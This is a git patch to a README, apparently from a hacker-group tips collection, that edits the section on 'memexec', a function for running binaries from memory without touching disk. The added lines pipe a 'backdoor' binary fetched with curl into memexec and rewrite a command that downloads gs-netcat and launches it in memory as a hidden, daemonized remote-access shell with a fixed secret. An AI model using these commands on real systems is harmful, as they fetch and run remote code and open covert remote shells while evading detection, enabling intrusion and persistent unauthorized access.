From 3efac2665c77807fd50b03c304724bbe120a2749 Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Tue, 3 Sep 2024 13:44:55 +0100 Subject: [PATCH] Update README.md --- README.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 69c3385..0473a1e 100644 --- a/README.md +++ b/README.md @@ -2034,14 +2034,16 @@ open($o, ">&=".$f) or die "open: $!"; while(<'"${strread:-STDIN}"'>){print $o $_;} exec {"/proc/$$/fd/$f"} '"${strargv0}"'@ARGV or die "exec: $!";' -- "$@" } +# Example usage: # memexec /usr/bin/id -u # cat /usr/bin/id | memexec -u +# curl -SsfL https://thc.org/my-backdoor-binary | memexec ``` (Thank you [tmp.Out](https://tmpout.sh/) for some educated discussions) Deploy gsocket without writing to the filesystem (example): ```sh -curl -SsfL https://github.com/hackerschoice/gsocket/releases/latest/download/gs-netcat_linux-$(uname -m) | GS_ARGS="-ilqD -s 5sLosWHZLpE9riqt74KvG9" memexec +GS_ARGS="-ilqD -s 5sLosWHZLpE9riqt74KvG9" memexec <(curl -SsfL https://github.com/hackerschoice/gsocket/releases/latest/download/gs-netcat_linux-$(uname -m)) ``` ---